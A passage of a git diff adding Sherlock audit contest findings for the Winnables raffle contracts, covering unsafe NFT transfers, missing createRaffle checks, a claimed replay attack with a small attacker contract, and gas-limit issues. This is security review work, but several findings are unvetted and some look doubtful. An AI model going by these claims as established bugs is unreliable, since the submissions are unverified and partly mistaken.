winner, tokenId); ++ IERC721(nft).safeTransferFrom(address(this), winner, tokenId); + } +``` \ No newline at end of file diff --git a/003/420.md b/003/420.md new file mode 100644 index 0000000..4cd055d --- /dev/null +++ b/003/420.md @@ -0,0 +1,58 @@ +Bubbly Clay Donkey + +High + +# Using `ERC721.transferFrom()` Instead of `safeTransferFrom()` May Result in NFTs Being Sent to Incompatible Contracts + +## Summary +The smart contract uses `ERC721.transferFrom()` instead of `safeTransferFrom()` when transferring NFTs. This approach lacks the built-in safety checks that `safeTransferFrom()` offers. Specifically, `safeTransferFrom()` ensures that if the recipient is a contract, it implements the `ERC721Receiver` interface, preventing NFTs from being sent to contracts that do not handle them correctly. Using `transferFrom()` can lead to situations where NFTs are lost or become irretrievable because they are sent to incompatible addresses. + +## Vulnerability Detail +The vulnerability occurs because `transferFrom()` does not verify if the recipient is a smart contract capable of receiving and handling ERC721 tokens. While `safeTransferFrom()` includes an additional check to ensure that the receiving contract implements the `onERC721Received` function, `transferFrom()` does not. This oversight can result in NFTs being sent to contracts that do not support the ERC721 standard, potentially freezing or losing the tokens. + +The affected code is found in two locations: + +- The `_sendNFTPrize()` internal function uses `IERC721(nft).transferFrom(address(this), winner, tokenId);`. +- The `withdrawNFT()` admin function uses `IERC721(nft).transferFrom(address(this), msg.sender, tokenId);`. + +In the `_sendNFTPrize()` if the `winner` is a contract address that does not support ERC721, the NFT can be frozen in that contract. + +In the `withdrawNFT()` if the `msg.sender` is a contract address that does not support ERC721, the NFT can be frozen in that contract. + +As per the documentation of EIP-721: + +> A wallet/broker/auction application MUST implement the wallet interface if it will accept safe transfers. + + +Ref: https://eips.ethereum.org/EIPS/eip-721 + +## Impact +If the recipient of an NFT is a contract that does not correctly handle ERC721 tokens, the NFT could be permanently locked in that contract. Users or administrators would lose access to the NFT, resulting in financial loss or the inability to claim prizes. + +## Code Snippet + +```solidity + +function _sendNFTPrize(address nft, uint256 tokenId, address winner) internal { + IERC721(nft).transferFrom(address(this), winner, tokenId); // Vulnerable: should use safeTransferFrom +} + +function withdrawNFT(address nft, uint256 tokenId) external onlyRole(0) { + if (_nftLocked[nft][tokenId]) revert NFTLocked(); + IERC721(nft).transferFrom(address(this), msg.sender, tokenId); // Vulnerable: should use safeTransferFrom +} + +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L226-L233 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L296-L302 + +## Tool used + +Manual Review + +## Recommendation + +Replace the use of `transferFrom()` with `safeTransferFrom()` in both the `_sendNFTPrize` and `withdrawNFT` functions. This ensures that NFTs can only be sent to addresses that are either externally owned accounts (EOAs) or contracts that correctly implement the `onERC721Received` function. By implementing this change, the risk of NFTs being lost in incompatible contracts is mitigated. + diff --git a/003/478.md b/003/478.md new file mode 100644 index 0000000..adfc1eb --- /dev/null +++ b/003/478.md @@ -0,0 +1,48 @@ +Scrawny Obsidian Gorilla + +Medium + +# NFT can be stuck in winner contract if contract doesn't have NFT handling logic + +## Summary + +If winner contract of NFT raffle dont hold NFT handling logic then winning NFT will stuck in winner contract. + +## Vulnerability Detail + +When a raffle is created with NFT as a prize and if a contract is the winner of that raffle then that contract must have NFT handling logic to handle the winning NFT. + +In `WinnablesPrizeManager:withdrawNFT` to tranfser the NFT to winner `transferFrom` of IERC721 is used which does not check that receiving contract have any NFT handling logic or not. + +Here is the flow: +- Raffle is created with NFT as a prize to winner. +- winner is a contract. +- winner contract does not have NFT handling logic +- winner contract calls `WinnablesPrizeManager:withdrawNFT`. +- NFT will be transfered to winner contract but absense of NFT handling logic leads to stuck NFT in winner contract. + +## Impact + +Loss of NFT in case of winner contract not having NFT handling logic. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L230-L233 + +## Tool used + +Manual Review + +## Recommendation + +```diff +function withdrawNFT(address nft, uint256 tokenId) external onlyRole(0) { + if (_nftLocked[nft][tokenId]) revert NFTLocked(); ++ IERC721(nft).safeTransferFrom(address(this), msg.sender, tokenId); +- IERC721(nft).transferFrom(address(this), msg.sender, tokenId); + } +``` + +| **Aspect** | **`transferFrom`** | **`safeTransferFrom`** | +| ------------------------------- | ------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------- | +| **Recipient Contract Handling** | Does not check if the recipient is a contract or whether the contract can handle ERC-721 tokens. | Checks if the recipient is a smart contract, and if so, calls `onERC721Received` to confirm the contract can handle ERC-721 tokens. | \ No newline at end of file diff --git a/003/491.md b/003/491.md new file mode 100644 index 0000000..bef1d57 --- /dev/null +++ b/003/491.md @@ -0,0 +1,43 @@ +Large Foggy Troll + +Medium + +# NFT Prize may be locked if the winner address is a contract + +### Summary + +Certain NFT's have logic inside the onERC721Received() function, which is only triggered in the safeTransferFrom() function and not in the transferFrom() function. [OpenZeppelin’s documentation](https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#IERC721-transferFrom-address-address-uint256-) advices to use the safeTransfer function instead of the transfer. + +### Root Cause + +Since any NFT can be used here, an NFT that triggers the onERC721Received() function is also in scope. An example of such an NFT is: https://github.com/sz-piotr/eth-card-game/blob/master/src/ethereum/contracts/ERC721Market.sol#L20-L31 . + +### Internal pre-conditions + +1. Only certain NFT's are affected by this. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User calls the claimPrize for a raffle with NFT as the prize. which calls the _sendNFTPrize function +(https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L300-L302) +```solidity +function _sendNFTPrize(address nft, uint256 tokenId, address winner) internal { + IERC721(nft).transferFrom(address(this), winner, tokenId); +} +``` + +### Impact + +If the winner is a contract, this could lead to a loss of funds for him. + +### PoC + +_No response_ + +### Mitigation + +Use `safeTransferfrom()` instead of trasnferFrom \ No newline at end of file diff --git a/003/504.md b/003/504.md new file mode 100644 index 0000000..976188f --- /dev/null +++ b/003/504.md @@ -0,0 +1,32 @@ +Wobbly Candy Goblin + +Medium + +# `_sendNFTPrize` does not checks if the token is sent + +## Summary +The `_sendNFTPrize` function uses `transferFrom` without ensuring that the recipient can handle `ERC721` tokens, potentially leading to the NFT being locked in contracts that don’t implement `onERC721Received`. + +## Vulnerability Detail +The `_sendNFTPrize` function is using `transferFrom` to send `ERC721` tokens: + +[WinnablesPrizeManager.sol#L300-L302](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L300-L302) +```solidity + function _sendNFTPrize(address nft, uint256 tokenId, address winner) internal { + IERC721(nft).transferFrom(address(this), winner, tokenId); + } +``` + + +If the winner is a contract that does not handle `ERC721` correctly, the token could end up locked in the receiving contract. + + +## Impact +A contract winner could have the winning NFT locked in their contract. + +## Tool used + +Manual Review. + +## Recommendation +Using `safeTransferFrom` would mitigate the issue and allow any contract to signal that they are correctly handling ERC721 tokens by implementing `onERC721Received`. \ No newline at end of file diff --git a/004/124.md b/004/124.md new file mode 100644 index 0000000..15f1821 --- /dev/null +++ b/004/124.md @@ -0,0 +1,72 @@ +Jolly Fiery Snail + +Medium + +# User can possess all tickets in a raffle due to unexistent checks in WinnablesTicketManager + +### Summary +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L189 + +In _checkTicketPurchaseable() the number of tickets being purchased is checked against raffle.maxHoldings to prevent a user from posessing all tickets in a raffle and undoubtedly winning it. However, the check fails to account for the situation where the number of tickets purchased by the user is less than **maxHoldings** but equal to **minTickes**. Meaning the user purchased an acceptable number of tickets, the minimum threshold for tickets purchased is met and the raffle can therefore end with the user as the only participant, therefore winning the raffle unanimously. + +### Root Cause + +**- Failure to check minTickets against maxHoldings** + +### Internal pre-conditions + +**_Assume Everything Is Working Correctly_** + +### External pre-conditions + +**_Assume every external condition is working as should_** + +### Attack Path + +1. Owner Creates raffle with minTickets=n and MaxHoldings=n +2. User buys n tickets +3. Time passes, no one else participates and winner is drawn +4. User definitely wins as he is the only participant. + + +### Impact + +Raffle stops being a raffle as user wins undoubtedly. + +### PoC + +POC + +```solidity +@notice: some modifications have been made to assume ccip and signature api is working as it should. +function testUserCanOwnAllTicketsInARaffle() public { + vm.startPrank(owner); + + //create raffle with minTickets=3 and MaxHoldings=3 + winnablesTicketManager.createRaffle(0, uint64(block.timestamp), uint64(block.timestamp+ 60) , 3, 5, 3); + winnablesTicket.setRole(address(winnablesTicketManager), 1, true); + + vm.deal(address(3), 10e18); + vm.startPrank(address(3)); + + console.log(address(3).balance); + + bytes memory signature = ""; + winnablesTicketManager.buyTickets{value: 5e18}(0, 1, 0, signature); + + winnablesTicketManager.buyTickets{value: 2e18}(0, 1, 0, signature); + + winnablesTicketManager.buyTickets{value: 1e18}(0, 1, 0, signature); + + //Time passes with only user buying tickets + vm.warp(block.timestamp + 61); + + //minimum participation is met therefore winner can be drawn + winnablesTicketManager.drawWinner(0); + + } +``` + +### Mitigation + +Consider preventing a raffle from being created with **minTickets** being equal to **maxHoldings**. Or track unique participants in a raffle and in **_checkShouldDraw()**, revert and refund if there is only 1 unique participant. \ No newline at end of file diff --git a/004/148.md b/004/148.md new file mode 100644 index 0000000..388f421 --- /dev/null +++ b/004/148.md @@ -0,0 +1,46 @@ +Cool Walnut Haddock + +Medium + +# M-01 Missing Check for Minimum Tickets in `createRaffle` Function + +### Summary + +The lack of a check for `minTickets == 0` in the `createRaffle` function will cause potential operational issues as an admin could inadvertently set up a raffle that does not require any ticket sales before the raffle can be completed, leading to unexpected behavior or failed operations in the protocol. + +### Root Cause + +In `createRaffle` function, the `minTickets` parameter is not checked for a value of 0, which may allow for the creation of a raffle that requires zero tickets to be sold before drawing a winner. + +Vulnerable Link: +* https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252 + +### Internal pre-conditions + +1. Admin needs to call `createRaffle()` with `minTickets` set to `0`. + +### External pre-conditions + +None + +### Attack Path + +1. Admin calls `createRaffle()` with `minTickets` set to `0`. +2. The raffle is created without requiring any tickets to be sold. +3. The raffle may proceed without any participants and requiring the minimum tickets to be 0. + +### Impact + +The protocol could experience logical inconsistencies, such as a raffle drawing a winner without ticket sales, or this condition could be exploited to bypass intended restrictions on raffle operations. + +### PoC + +_No response_ + +### Mitigation + +Add a check in the `createRaffle` function to ensure that `minTickets > 0`. + +```solidity +if (minTickets == 0) revert RaffleRequiresMinimumTickets(); +``` \ No newline at end of file diff --git a/004/384.md b/004/384.md new file mode 100644 index 0000000..e82dd48 --- /dev/null +++ b/004/384.md @@ -0,0 +1,29 @@ +Polished Berry Gerbil + +Medium + +# Insufficient validation of `minTicketsThreshold` and `maxTicketSupply` in `creatRaffle` + +## Summary +Raffles can exist where that will never meet the draw condition due to insufficient checks in `createRaffle`. + +## Vulnerability Detail +An undesirable and avoidable state will always be reached where Raffle cannot be drawn whenever +`minTicketsThreshold` > `maxTicketSupplies` . +which can be easily prevented. Users cannot buy tickets when `raffle.maxTicketSupply` is exceeded so it is the rate-defining variable here. setting a `minTicketsThreshold` > `maxTicketSupply` just means Raffle creator is starting the raffle with no intention of drawing winners. + + + +## Impact +`Some Raffles will never meet the draw condition` +Users will purchase tickets for a raffle but winners won't be drawn due to configuration in createRaffle, they may be refunded but the expense for that raffle is laid to waste. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L422-L432 + +## Tool used +Manual Review + +## Recommendation +Raffle should ideally end whenever the `maxTicketSupply` is reached or when the `minTicketThreshold` is reached, however once tickets are exhausted the raffle is concluded. add this check during raffleCreation +`minTicketsThreshold <= maxTicketsSupply` \ No newline at end of file diff --git a/004/481.md b/004/481.md new file mode 100644 index 0000000..2019bdd --- /dev/null +++ b/004/481.md @@ -0,0 +1,41 @@ +Howling Crimson Okapi + +Medium + +# Incorrect minTickets Condition in WinnablesTicketManager::createRaffle May Prevent Raffle Functioning Correctly + +### Summary + +The missing validation in the _WinnablesTicketManager::createRaffle_ function will cause a logical inconsistency for the raffle contract as the condition where _minTickets_ is greater than _maxTickets_ will prevent the raffle from functioning correctly. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252 + +### Root Cause + +In the _createRaffle_ function, there is no check to ensure that _minTickets_ is less than or equal to _maxTickets_. This allows a situation where _minTickets_ can be set higher than _maxTickets_, which would make it impossible to meet the minimum ticket threshold required for the raffle to proceed. + +### Internal pre-conditions + +1. Admin needs to call _createRaffle(_) with _minTickets_ greater than _maxTickets_. +2. _maxTickets_ is set to a value less than _minTickets_ during the raffle creation. + +### External pre-conditions + +There are no specific external pre-conditions as this is an internal logic issue. + +### Attack Path + +1. The Admin or any authorized role calls _createRaffle()_ and sets _minTickets_ to a value greater than _maxTickets_. +2. The raffle is created, but since it is impossible to sell the required number of tickets (_minTickets_), the raffle cannot function as intended. + +### Impact + +The users or participants of the raffle will suffer as the raffle cannot proceed if the minimum ticket requirement cannot be met, effectively preventing any tickets from being sold or the raffle from completing. The protocol will fail to generate the expected revenue from the raffle. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/004/510.md b/004/510.md new file mode 100644 index 0000000..cb3befc --- /dev/null +++ b/004/510.md @@ -0,0 +1,104 @@ +Dizzy Quartz Cuckoo + +Medium + +# Noone will be able to buy tickets if admin does a mistake.. + +### Summary + +The missing check in createRaffle function of "WinnablesTokenManager.sol" line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252 +will cause users to not being able to buy tickets + +### Root Cause + +In "WinnablesTokenManager.sol::createRaffle" there is no check to stop maxHoldings to be equal to minTickets bcoz of which minimum ticket to start a raffle can be equal to maximum tickets a person can hold. +` + /// @notice (Admin) Create NFT Raffle for an prize NFT previously sent to this contract + /// @param raffleId ID Of the raffle shared with the remote chain + /// @param startsAt Epoch timestamp in seconds of the raffle start time + /// @param endsAt Epoch timestamp in seconds of the raffle end time + /// @param minTickets Minimum number of tickets required to be sold for this raffle + /// @param maxHoldings Maximum number of tickets one player can hold + function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings + ) external onlyRole(0) { @audit-info if minTicket = maxHoldings + _checkRaffleTimings(startsAt, endsAt); + if (maxTickets == 0) revert RaffleRequiresTicketSupplyCap(); + if (maxHoldings == 0) revert RaffleRequiresMaxHoldings(); + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked(); + + raffle.status = RaffleStatus.IDLE; + raffle.startsAt = startsAt; + raffle.endsAt = endsAt; + raffle.minTicketsThreshold = minTickets; + raffle.maxTicketSupply = maxTickets; + raffle.maxHoldings = maxHoldings; + + em` + +### Internal pre-conditions + +1.Admin needs to call `CreateRaffle` +2.User will call `BuyTickets ` + +### External pre-conditions + +_No response_ + +### Attack Path + +1.Admin calls `CreateRaffle` and by mistake set maxHoldings equals minTickets as there is no check function will proceed. +2.User then calls `BuyTickets` using raffle id produced by CreateRaffle previously then the check in `BuyTickets` i.e _checkTicketPurchaseable will revert everytime making it impossible for the users to buy tickets. +` /// @notice (Public) Participate in a raffle + /// @param raffleId ID of the Raffle + /// @param ticketCount Number of tickets purchased + /// @param blockNumber Number of the block when the signature expires + /// @param signature Signature provided by the API to authorize this ticket sale at given price + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); @audit blocknumber can be diff in avalance + + Raffle storage raffle = _raffles[raffleId]; + uint256 participation = uint256(raffle.participations[msg.sender]); + uint128 totalPaid = uint128(participation) + uint128(msg.value); + uint32 totalPurchased = uint32(participation >> 128) + uint32(ticketCount); + unchecked { + raffle.participations[msg.sender] = bytes32( + (participation & type(uint256).max << 160) + | totalPaid | + uint256(totalPurchased) << 128 + ); + } + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } + IWinnablesTicket(TICKETS_CONTRACT).mint(msg.sender, raffleId, ticketCount); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + }` + + +### Impact + +Users will be under to buy tickets for a particular raffle.. + +### PoC + +_No response_ + +### Mitigation + +Add a check to stop maxHoldings being equal to minTickets in CreateRaffle \ No newline at end of file diff --git a/004/520.md b/004/520.md new file mode 100644 index 0000000..2712f0b --- /dev/null +++ b/004/520.md @@ -0,0 +1,55 @@ +Spare Opaque Cottonmouth + +Medium + +# No check if `minTickets` is less than `maxTickets` + +## Summary +No check if `minTickets` is less than `maxTickets` in `createRaffle` +## Vulnerability Detail +After diving into the `WinnablesTicketManager` contract in `WinnablesTicketManager.sol` we can see that there is a function called `createRaffle`: +```solidity + /// @notice (Admin) Create NFT Raffle for an prize NFT previously sent to this contract + /// @param raffleId ID Of the raffle shared with the remote chain + /// @param startsAt Epoch timestamp in seconds of the raffle start time + /// @param endsAt Epoch timestamp in seconds of the raffle end time + /// @param minTickets Minimum number of tickets required to be sold for this raffle + /// @param maxHoldings Maximum number of tickets one player can hold + function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings + ) external onlyRole(0) { + _checkRaffleTimings(startsAt, endsAt); + if (maxTickets == 0) revert RaffleRequiresTicketSupplyCap(); + if (maxHoldings == 0) revert RaffleRequiresMaxHoldings(); + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked(); + + raffle.status = RaffleStatus.IDLE; + raffle.startsAt = startsAt; + raffle.endsAt = endsAt; + raffle.minTicketsThreshold = minTickets; + raffle.maxTicketSupply = maxTickets; + raffle.maxHoldings = maxHoldings; + + emit NewRaffle(raffleId); + } +``` +It is obvious by the name and also from the *NatSpec* that it creates a new raffle. However, one of the required parameters called `minTickets` which is then set to `raffle.minTicketsThreshold` is not checked if it is smaller than the max supply `maxTickets`. It means that this raffle will never have a winner because when the time runs out the minimum tickets cannot be satisfied. +## Impact +A raffle which cannot have a winner can be created. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L246-L274 +## Tool used +Manual Review +## Recommendation +Add an `if` statement checking if `minTickets` is less than the max supply or `maxTickets`. If it is then revert. +```solidity +if (minTickets > maxTickets) { +// ... +} +``` diff --git a/004/550.md b/004/550.md new file mode 100644 index 0000000..8cc7bc9 --- /dev/null +++ b/004/550.md @@ -0,0 +1,65 @@ +Damaged Sable Guppy + +Medium + +# A raffle may be guaranteed won, or canceled despite reaching maxTicketSupply, thus depriving users from winning it + +### Summary + +Insufficient validation in [createRaffle](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274) allows to set different nonsensical combinations of raffle parameters. E.g. setting `maxTickets == 1` allows the guaranteed win with a single purchased ticket; or setting `minTickets >= maxTickets` allows to cancel the raffle even when the number of bought tickets reaches `maxTickets`, thus depriving the users who bought tickets from winning the raffle. + +### Root Cause + +Function [createRaffle](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274) doesn't perform any validation wrt. the supplied parameters `minTickets`, `maxTickets`, `maxHoldings` besides checking that `maxTickets != 0` and `maxHoldings != 0`. Different nonsensical combinations of these parameters may be set, in particular: + +- setting `maxTickets == 1` and bundling `createRaffle` and `buyTickets` for a single permitted ticket into the same transaction, will allow an admin to have a guaranteed win of the raffle. If the prize is large, there may be enough motivation to do that. +- setting `minTickets >= maxTickets`: as in the [current Winnable UI](https://testnet.winnables.com/competitions/18) the `minTickets` doesn't seem to be displayed, the users may participate not knowing of the nonsensical parameters. As we outline below, this combination allows to cancel a raffle even when `maxTickets` have been bought. + +Wrt. to the latter, there is a secondary root cause, in functions [_checkShouldDraw](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L422-L432) and [_checkShouldCancel](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441): + +- Function `_checkShouldDraw` reverts if `currentTicketSold < raffle.minTicketsThreshold`. Thus even if `maxTicketSupply` is reached, but `minTicketsThreshold >= maxTicketSupply` a winner can't be ever drawn +- The revert conditions in functions `_checkShouldDraw` (`currentTicketSold < raffle.minTicketsThreshold`) and `_checkShouldCancel` (`supply > raffle.minTicketsThreshold`) are non-exclusive: if `maxTicketSupply == minTicketsThreshold` then both functions don't revert, thus offering a choice between either drawing or canceling the raffle, even when `maxTicketSupply` has been reached. + +The case of `minTicketsThreshold == maxTicketSupply` seems actually reasonable, and thus can be set by an non-malicious admin. Taking into account that `cancelRaffle` is a non-admin-restricted function, and can be called by anyone, this setting can be exploited to cancel the raffle if the odds of winning don't seem favorable for to the interested party. + +### Internal pre-conditions + +1. An admin needs to set certain combinations of parameters via `createRaffle`, e.g. to set `minTicketsThreshold == maxTicketSupply` + +### External pre-conditions + +none + +### Attack Path + +The first attack path (a malicious admin): + +1. An admin calls `createRaffle` with `minTickets == 0` and `maxTickets == 1` +2. In the same transaction the admin calls `buyTickets` and buys a single permissible ticket +3. In the same transaction the admin calls `drawWinner` (which is possible, because `maxTicketSupply` is reached. +4. The admin has a guaranteed win. + +The second attack path (a non-malicious admin): + +1. An admin when calling `createRaffle` sets `minTickets == maxTickets` (which seems reasonable), thus resulting for the raffle to have `minTicketsThreshold == maxTicketSupply` +5. The raffle proceeds as usual; `maxTicketSupply` is reached +6. Any participant, if they are unsatisfied with their odds of winning, call `cancelRaffle`, thus canceling it instead of the winner being drawn. + +### Impact + +Depending on the attack path, it's either a guaranteed win (for a malicious admin), or a cancellation of the raffle that has reached the stage when it should be drawn, if the odds don't satisfy any interested party (with a non-malicious admin). + +### PoC + +not required according to the rules. + +### Mitigation + +We propose to perform more validation of the input parameters of `createRaffle`, e.g. +- require `maxTickets` to be greater than some reasonable minimum (e.g. 1000) +- require `minTickets < maxTickets` +- require `maxHoldings < maxTickets` (thus preventing accumulation of the odds of winning by a single address) + +Different other restrictions may be imposed, depending on the protocol intentions. + +Additionally, we recommend to make the revert conditions in functions `_checkShouldDraw` and `_checkShouldCancel` mutually exclusive: `currentTicketSold <= raffle.minTicketsThreshold` and `supply > raffle.minTicketsThreshold` respectively. \ No newline at end of file diff --git a/004/578.md b/004/578.md new file mode 100644 index 0000000..c6c0ac2 --- /dev/null +++ b/004/578.md @@ -0,0 +1,20 @@ +Dizzy Quartz Cuckoo + +Medium + +# A raffle with 100% win rate can be created. + +## Summary +There is no check for maxHoldings(max no of tickets a player can hold) and minTickets(min tickets needed to start a raffle). +## Vulnerability Detail +In WinnablesTicketManger::createRaffle there is no check for maxHoldings and minTickets to not be equal bcoz of which a malicious user can buy all the tickets if admin enters value of both same by mistake.If malicious user see an admin make this mistake and buy all the tickets up to minTickets and win the contest. +## Impact +A raffle can have 100% win rate +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252 +## Tool used + +Manual Review + +## Recommendation +Add a check for `if (maxHoldings = minTickets) ` revert it \ No newline at end of file diff --git a/004/610.md b/004/610.md new file mode 100644 index 0000000..2b66bef --- /dev/null +++ b/004/610.md @@ -0,0 +1,37 @@ +Macho Hazel Duck + +Invalid + +# Missing validation on minTickets and maxTickets in createRaffle function + +### Summary + +The missing check `minTickets` <= `maxTickets` in `createRaffle` function of `WinablesTickerManager.sol` contract will cause all raffles with minTickets > maxTickets to have their prizes permanently locked on Ethereum and also not be refunded to players on Avalanche. + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +The missing check above allows the admin to successfully create raffles where minTickets is greater than maxTickets + +### Impact + +Without this constraint check, although the raffle is still successfully created, the player can still purchase tickets normally, but after the ticket purchase stage ends, the raffle cannot move to the draw winner step, which leads to the inability to propagate the winner to `WinablesPrizeManager`, as well as the inability to cancel the raffle. As a result, the prize will be permanently locked on `WinablesPrizeManager`, while `WinablesTicketManager` cannot refund the players. + +### PoC + +_No response_ + +### Mitigation + +Add a constraint between `minTickets` and `maxTickets` to ensure that `minTickets` <= `maxTickets` \ No newline at end of file diff --git a/005.md b/005.md new file mode 100644 index 0000000..2c76e5e --- /dev/null +++ b/005.md @@ -0,0 +1,77 @@ +Sour Denim Alpaca + +High + +# Replay attack in BaseCCIPReceiver contract + +### Summary + +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPReceiver.sol#L34 + +The contract does not include any mechanism to prevent replay attacks. An attacker could replay a previously valid ccipReceive message if there is no unique message identifier or nonce to prevent it. + +Mitigation: Implement a nonce, timestamp, or unique message ID check within the _ccipReceive function to ensure that each message is processed only once. + +### Root Cause + +Replay attack guard missing. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This could allow an attacker to drain the contract's funds or manipulate the contract state in an unintended manner. + + + +### PoC +```solidity + VulnerableReceiver Contract +// SPDX-License-Identifier: MIT +pragma solidity 0.8.24; + +contract VulnerableReceiver is BaseCCIPReceiver { + + event MessageReceived(address indexed sender, string data); + + function _ccipReceive(Client.Any2EVMMessage memory message) internal override { + emit MessageReceived(message.sender, message.data); + // Additional logic processing the message + } +} + +Attacker Contract +// SPDX-License-Identifier: MIT +pragma solidity 0.8.24; + +import "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol"; +import "./VulnerableReceiver.sol"; + +contract Attacker { + VulnerableReceiver public vulnerableReceiver; + + constructor(address _vulnerableReceiver) { + vulnerableReceiver = VulnerableReceiver(_vulnerableReceiver); + } + + function replayAttack(Client.Any2EVMMessage calldata message) external { + // Directly call ccipReceive with the same message to replay it + vulnerableReceiver.ccipReceive(message); + } +} + +``` + +### Mitigation + +Need to Implement a nonce, timestamp, or unique message ID check within the _ccipReceive function to ensure that each message is processed only once in _ccipReceive \ No newline at end of file diff --git a/005/011.md b/005/011.md new file mode 100644 index 0000000..3c732f9 --- /dev/null +++ b/005/011.md @@ -0,0 +1,68 @@ +Sour Denim Alpaca + +High + +# Infinite Loop in ownerOf function at WinnablesTicket contract + +### Summary + +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L93C3-L101C4 + +If the ticketId is invalid and does not correspond to any ticket (i.e., it was never minted), or if all the ticketId values from the starting point are zero, then ticketId will keep decrementing indefinitely. +Conditions Leading to Infinite Loop: + +Invalid Ticket IDs: If ticketId starts with a value greater than or equal to _supplies[id] and no valid ownership exists before reaching a valid ticket, the loop will continue decrementing ticketId forever. +Decrementing Below Zero: If the loop starts with a valid ticketId but the ownership is address(0) for all tickets, ticketId will eventually become negative, which is out of bounds and can cause unintended behavior. + +### Root Cause + +While loop without proper exit criterias + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This can lead to high gas costs or even result in hitting block gas limits. + +### PoC + +_No response_ + +### Mitigation + +Check for Underflow: Before entering the loop, check if ticketId is greater than zero to prevent decrementing into negative values. + +Add a Safe Exit Condition: Ensure that ticketId has a lower bound and exit the loop if it reaches this bound. + +```solidity +function ownerOf(uint256 id, uint256 ticketId) public view returns (address) { + if (ticketId >= _supplies[id]) { + revert InexistentTicket(); + } + + // Ensure ticketId does not go below zero + if (ticketId == 0) { + return _ticketOwnership[id][ticketId]; + } + + while (_ticketOwnership[id][ticketId] == address(0)) { + unchecked { + if (ticketId == 0) { + break; // Prevent underflow + } + --ticketId; + } + } + return _ticketOwnership[id][ticketId]; +} +``` \ No newline at end of file diff --git a/005/182.md b/005/182.md new file mode 100644 index 0000000..b4a944e --- /dev/null +++ b/005/182.md @@ -0,0 +1,76 @@ +Hollow Walnut Tadpole + +Medium + +# Raffles allowing purchase of high amount of tickets might result in DoS and raffle winner not being able to claim the prize + +### Summary + +Allowing the maximum number of tickets to be purchased in a single transaction, up to `type(uint16).max` as mentioned in the `README.md`, could cause the `WinnablesTicketManager:propagateRaffleWinner()` function to exceed the gas block limit, leading to an inevitable revert. In this case, neither the raffle winner nor the admins would be able to unlock or claim the prize. Since the current limit allows up to `65535` tickets, and transactions involving even around `13000` tickets can already result in reverts, it's likely that in a scenario where a user buys the maximum number of tickets and wins, they would be unable to claim their prize. + +### Root Cause + +In `WinnablesTicketManager:propagateRaffleWinner()`, the function `WinnablesTicket:ownerOf()` is used to select a winner https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L476. This function contains a `while` loop https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L97 that can potentially iterate up to `type(uint16).max - 1` times. Even with significantly fewer iterations, the transaction could exceed the gas block limit. If the transaction does not revert, it could still become excessively expensive to execute. + +### Internal pre-conditions + +1. The admin must call the function `WinnablesTicketManager::createRaffle()` with `maxTickets` exceeding a certain threshold. In the Proof of Concept (PoC), a value of `13000` was sufficient to cause 